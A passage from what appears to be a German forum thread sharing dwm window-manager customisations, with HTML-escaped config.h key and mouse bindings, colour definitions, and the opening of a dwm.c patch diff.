&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY|ShiftMask,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_e,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; spawn,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{.v = idecmd } },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY|ShiftMask,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_v,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; spawn,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{.v = vboxcmd } },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY|ShiftMask,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_p,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; spawn,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{.v = imcmd } },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY|ShiftMask,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_y,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; spawn,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{.v = pycrust } },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY|ShiftMask,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_m,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; spawn,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{.v = pmscmd } },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY|ShiftMask,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_k,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; spawn,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{.v = killx } },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_b,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; togglebar,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{0} },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_j,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; focusstack,&nbsp;&nbsp;&nbsp;&nbsp; {.i = +1 } },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_k,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; focusstack,&nbsp;&nbsp;&nbsp;&nbsp; {.i = -1 } },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_h,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; setmfact,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {.f = -0.05} },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_l,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; setmfact,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {.f = +0.05} },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_plus,&nbsp;&nbsp;&nbsp;&nbsp;pushup,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {0} },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_sterling,pushdown,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {0} },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_Return,&nbsp;&nbsp;zoom,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {0} },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_Tab,&nbsp;&nbsp;&nbsp;&nbsp; view,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {0} },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY|ShiftMask,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_c,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; killclient,&nbsp;&nbsp;&nbsp;&nbsp; {0} },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;XK_s,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;setlayout,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{.v = &amp;layouts[0&#93;} },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_t,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; setlayout,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{.v = &amp;layouts[1&#93;} },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_f,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; setlayout,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{.v = &amp;layouts[2&#93;} },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_space,&nbsp;&nbsp; setlayout,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{0} },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY|ShiftMask,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_space,&nbsp;&nbsp; togglefloating, {0} },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_0,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; view,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {.ui = ~0 } },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY|ShiftMask,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_0,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; tag,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{.ui = ~0 } },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_comma,&nbsp;&nbsp; focusmon,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {.i = -1 } },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_period,&nbsp;&nbsp;focusmon,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {.i = +1 } },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY|ShiftMask,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_comma,&nbsp;&nbsp; tagmon,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {.i = -1 } },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY|ShiftMask,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_period,&nbsp;&nbsp;tagmon,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {.i = +1 } },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_Left,&nbsp;&nbsp;&nbsp;&nbsp;cycle,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{.i = -1 } },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_Right,&nbsp;&nbsp; cycle,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{.i = +1 } },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_Up,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tagcycle,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {.i = -1 } },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_Down,&nbsp;&nbsp;&nbsp;&nbsp;tagcycle,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {.i = +1 } },<br />
&nbsp;&nbsp;&nbsp;&nbsp;TAGKEYS(&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;XK_1,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0)<br />
&nbsp;&nbsp;&nbsp;&nbsp;TAGKEYS(&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;XK_2,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1)<br />
&nbsp;&nbsp;&nbsp;&nbsp;TAGKEYS(&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;XK_3,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2)<br />
&nbsp;&nbsp;&nbsp;&nbsp;TAGKEYS(&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;XK_4,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3)<br />
&nbsp;&nbsp;&nbsp;&nbsp;TAGKEYS(&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;XK_5,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 4)<br />
&nbsp;&nbsp;&nbsp;&nbsp;TAGKEYS(&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;XK_6,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 5)<br />
&nbsp;&nbsp;&nbsp;&nbsp;TAGKEYS(&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;XK_7,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 6)<br />
&nbsp;&nbsp;&nbsp;&nbsp;TAGKEYS(&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;XK_8,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 7)<br />
&nbsp;&nbsp;&nbsp;&nbsp;TAGKEYS(&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;XK_9,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 8)<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY|ShiftMask,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_q,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;quit,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{0} },<br />
};<br />
<br />
/* button definitions */<br />
/* click can be ClkLtSymbol, ClkStatusText, ClkWinTitle, ClkClientWin, or ClkRootWin */<br />
static Button buttons[&#93; = {<br />
&nbsp;&nbsp;&nbsp;&nbsp;/* click&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;event mask&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;button&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;function&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;argument */<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ ClkLtSymbol,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Button1,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;setlayout,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{0} },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ ClkLtSymbol,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Button3,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;setlayout,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{.v = &amp;layouts[2&#93;} },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ ClkWinTitle,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Button2,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;zoom,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {0} },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ ClkStatusText,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Button2,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;spawn,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{.v = termcmd } },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ ClkClientWin,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MODKEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Button1,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;movemouse,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{0} },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ ClkClientWin,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MODKEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Button2,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;togglefloating, {0} },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ ClkClientWin,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MODKEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Button3,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;resizemouse,&nbsp;&nbsp;&nbsp;&nbsp;{0} },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ ClkTagBar,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Button1,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;view,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {0} },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ ClkTagBar,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Button3,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;toggleview,&nbsp;&nbsp;&nbsp;&nbsp; {0} },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ ClkTagBar,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MODKEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Button1,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tag,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{0} },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ ClkTagBar,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MODKEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Button3,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;toggletag,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{0} },<br />
};<br />
<br />
*/</code></div></div>
Man möge mir die Einrückung vergeben (Tabs und Leerzeichen gemischt)<br />
<br />
Unnötig (statuscolor patch)<br />
<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>static const char normbordercolor[&#93; = "#d4d4d4";<br />
static const char normbgcolor[&#93;&nbsp;&nbsp;&nbsp;&nbsp; = "#d4d4d4";<br />
static const char normfgcolor[&#93;&nbsp;&nbsp;&nbsp;&nbsp; = "#000000";<br />
static const char selbordercolor[&#93;&nbsp;&nbsp;= "#1751FF";<br />
static const char selbgcolor[&#93;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= "#5a5a5a";<br />
static const char selfgcolor[&#93;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= "#ffffff";</code></div></div>
<br />
Dann hf]]></description>
			<content:encoded><![CDATA[Ich möchte euren Geist mit diesem genial Patch erleuchten:<br />
<br />
dwm.c patch<br />
 == Patched with bstack, cycle, push, init layouts/pertag, useless gaps, statuscolor and focuso<strong></strong>nclick ==<br />
<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>diff -r 170beedf6847 -r 952b146c1cdd dwm.c<br />
--- a/dwm.c&nbsp;&nbsp;&nbsp;&nbsp;Tue Jul 27 14:27:21 2010 +0200<br />
+++ b/dwm.c&nbsp;&nbsp;&nbsp;&nbsp;Tue Jul 27 14:28:13 2010 +0200<br />
@@ -19,6 +19,8 @@<br />
&nbsp;&nbsp;* Keys and tagging rules are organized as arrays and defined in config.h.<br />
&nbsp;&nbsp;*<br />
&nbsp;&nbsp;* To understand everything else, start reading main().<br />
+ *<br />
+ * == Patched with bstack, cycle, push, init layouts/pertag, useless gaps, statuscolor and focusonclick ==<br />
&nbsp;&nbsp;*/<br />
 #include &lt;errno.h&gt;<br />
 #include &lt;locale.h&gt;<br />
@@ -48,6 +50,7 @@<br />
